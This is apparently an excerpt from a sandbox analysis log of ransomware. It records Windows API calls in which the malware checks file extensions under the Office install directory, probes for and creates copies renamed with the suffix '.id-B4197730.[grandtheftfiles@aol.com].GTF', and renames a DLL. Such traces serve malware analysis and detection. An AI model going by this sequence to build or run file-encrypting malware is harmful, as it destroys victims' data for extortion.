	[0163.467] lstrlenW (lpString=".docx") returned 5
	[0163.467] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.467] lstrlenW (lpString=".pdf") returned 4
	[0163.467] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString=".xls") returned 4
	[0163.467] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString=".xlsx") returned 5
	[0163.467] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.467] lstrlenW (lpString=".ppt") returned 4
	[0163.467] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.467] lstrlenW (lpString=".zip") returned 4
	[0163.467] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.467] lstrlenW (lpString=".rar") returned 4
	[0163.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.468] lstrlenW (lpString=".bz2") returned 4
	[0163.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.468] lstrlenW (lpString=".7z") returned 3
	[0163.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.468] lstrlenW (lpString=".dbf") returned 4
	[0163.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.468] lstrlenW (lpString=".1cd") returned 4
	[0163.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0163.468] lstrlenW (lpString=".jpg") returned 4
	[0163.468] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.468] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.468] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0163.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.469] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19648) returned 1
	[0163.469] CloseHandle (hObject=0x528) returned 1
	[0163.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220
	[0163.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.469] lstrlenW (lpString=".doc") returned 4
	[0163.469] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.469] lstrlenW (lpString=".docx") returned 5
	[0163.469] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.469] lstrlenW (lpString=".pdf") returned 4
	[0163.469] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.469] lstrlenW (lpString=".xls") returned 4
	[0163.469] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.469] lstrlenW (lpString=".xlsx") returned 5
	[0163.469] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.469] lstrlenW (lpString=".ppt") returned 4
	[0163.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.470] lstrlenW (lpString=".zip") returned 4
	[0163.470] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString=".rar") returned 4
	[0163.470] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString=".bz2") returned 4
	[0163.470] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.470] lstrlenW (lpString=".7z") returned 3
	[0163.470] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.470] lstrlenW (lpString=".dbf") returned 4
	[0163.470] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.470] lstrlenW (lpString=".1cd") returned 4
	[0163.470] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.470] lstrlenW (lpString=".jpg") returned 4
	[0163.470] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.470] lstrlenW (lpString=".doc") returned 4
	[0163.470] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString=".docx") returned 5
	[0163.470] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.470] lstrlenW (lpString=".pdf") returned 4
	[0163.470] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString=".xls") returned 4
	[0163.470] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString=".xlsx") returned 5
	[0163.470] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.470] lstrlenW (lpString=".ppt") returned 4
	[0163.470] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.471] lstrlenW (lpString=".zip") returned 4
	[0163.471] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.471] lstrlenW (lpString=".rar") returned 4
	[0163.471] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.471] lstrlenW (lpString=".bz2") returned 4
	[0163.471] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.471] lstrlenW (lpString=".7z") returned 3
	[0163.471] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.471] lstrlenW (lpString=".dbf") returned 4
	[0163.471] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.471] lstrlenW (lpString=".1cd") returned 4
	[0163.471] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0163.471] lstrlenW (lpString=".jpg") returned 4
	[0163.471] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.471] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.471] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0163.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.472] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=22720) returned 1
	[0163.472] CloseHandle (hObject=0x528) returned 1
	[0163.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220
	[0163.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.473] lstrlenW (lpString=".doc") returned 4
	[0163.473] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.473] lstrlenW (lpString=".docx") returned 5
	[0163.473] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.473] lstrlenW (lpString=".pdf") returned 4
	[0163.473] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.473] lstrlenW (lpString=".xls") returned 4
	[0163.473] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.473] lstrlenW (lpString=".xlsx") returned 5
	[0163.473] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.473] lstrlenW (lpString=".ppt") returned 4
	[0163.473] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.473] lstrlenW (lpString=".zip") returned 4
	[0163.473] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.473] lstrlenW (lpString=".rar") returned 4
	[0163.473] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.473] lstrlenW (lpString=".bz2") returned 4
	[0163.473] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.473] lstrlenW (lpString=".7z") returned 3
	[0163.473] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString=".dbf") returned 4
	[0163.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString=".1cd") returned 4
	[0163.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString=".jpg") returned 4
	[0163.474] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString=".doc") returned 4
	[0163.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString=".docx") returned 5
	[0163.474] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.474] lstrlenW (lpString=".pdf") returned 4
	[0163.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString=".xls") returned 4
	[0163.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString=".xlsx") returned 5
	[0163.474] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.474] lstrlenW (lpString=".ppt") returned 4
	[0163.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString=".zip") returned 4
	[0163.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString=".rar") returned 4
	[0163.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.474] lstrlenW (lpString=".bz2") returned 4
	[0163.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.474] lstrlenW (lpString=".7z") returned 3
	[0163.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.474] lstrlenW (lpString=".dbf") returned 4
	[0163.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.475] lstrlenW (lpString=".1cd") returned 4
	[0163.475] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0163.475] lstrlenW (lpString=".jpg") returned 4
	[0163.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.475] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.475] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0163.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.476] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19136) returned 1
	[0163.476] CloseHandle (hObject=0x528) returned 1
	[0163.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220
	[0163.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.476] lstrlenW (lpString=".doc") returned 4
	[0163.476] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString=".docx") returned 5
	[0163.477] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.477] lstrlenW (lpString=".pdf") returned 4
	[0163.477] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString=".xls") returned 4
	[0163.477] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString=".xlsx") returned 5
	[0163.477] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.477] lstrlenW (lpString=".ppt") returned 4
	[0163.477] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.477] lstrlenW (lpString=".zip") returned 4
	[0163.477] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString=".rar") returned 4
	[0163.477] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString=".bz2") returned 4
	[0163.477] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.477] lstrlenW (lpString=".7z") returned 3
	[0163.477] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.477] lstrlenW (lpString=".dbf") returned 4
	[0163.477] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.477] lstrlenW (lpString=".1cd") returned 4
	[0163.477] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.477] lstrlenW (lpString=".jpg") returned 4
	[0163.477] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.477] lstrlenW (lpString=".doc") returned 4
	[0163.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.477] lstrlenW (lpString=".docx") returned 5
	[0163.477] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.477] lstrlenW (lpString=".pdf") returned 4
	[0163.477] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.478] lstrlenW (lpString=".xls") returned 4
	[0163.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.478] lstrlenW (lpString=".xlsx") returned 5
	[0163.478] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.478] lstrlenW (lpString=".ppt") returned 4
	[0163.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.478] lstrlenW (lpString=".zip") returned 4
	[0163.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.478] lstrlenW (lpString=".rar") returned 4
	[0163.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.478] lstrlenW (lpString=".bz2") returned 4
	[0163.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.478] lstrlenW (lpString=".7z") returned 3
	[0163.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.478] lstrlenW (lpString=".dbf") returned 4
	[0163.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.478] lstrlenW (lpString=".1cd") returned 4
	[0163.478] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0163.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0163.478] lstrlenW (lpString=".jpg") returned 4
	[0163.478] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.478] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0163.478] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0163.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.479] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20672) returned 1
	[0163.479] CloseHandle (hObject=0x528) returned 1
	[0163.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220
	[0163.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0163.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0163.479] lstrlenW (lpString=".doc") returned 4
	[0163.479] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.480] lstrlenW (lpString=".docx") returned 5
	[0163.480] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.480] lstrlenW (lpString=".pdf") returned 4
	[0163.480] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.480] lstrlenW (lpString=".xls") returned 4
	[0163.480] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.480] lstrlenW (lpString=".xlsx") returned 5
	[0163.480] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.480] lstrlenW (lpString=".ppt") returned 4
	[0163.480] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0163.480] lstrlenW (lpString=".zip") returned 4
	[0163.480] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.480] lstrlenW (lpString=".rar") returned 4
	[0163.480] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.480] lstrlenW (lpString=".bz2") returned 4
	[0163.480] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.480] lstrlenW (lpString=".7z") returned 3
	[0163.480] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0163.480] lstrlenW (lpString=".dbf") returned 4
	[0163.480] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0163.531] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7384) returned 1
	[0163.531] CloseHandle (hObject=0x528) returned 1
	[0163.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220
	[0163.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.532] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.532] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.533] GetLastError () returned 0x0
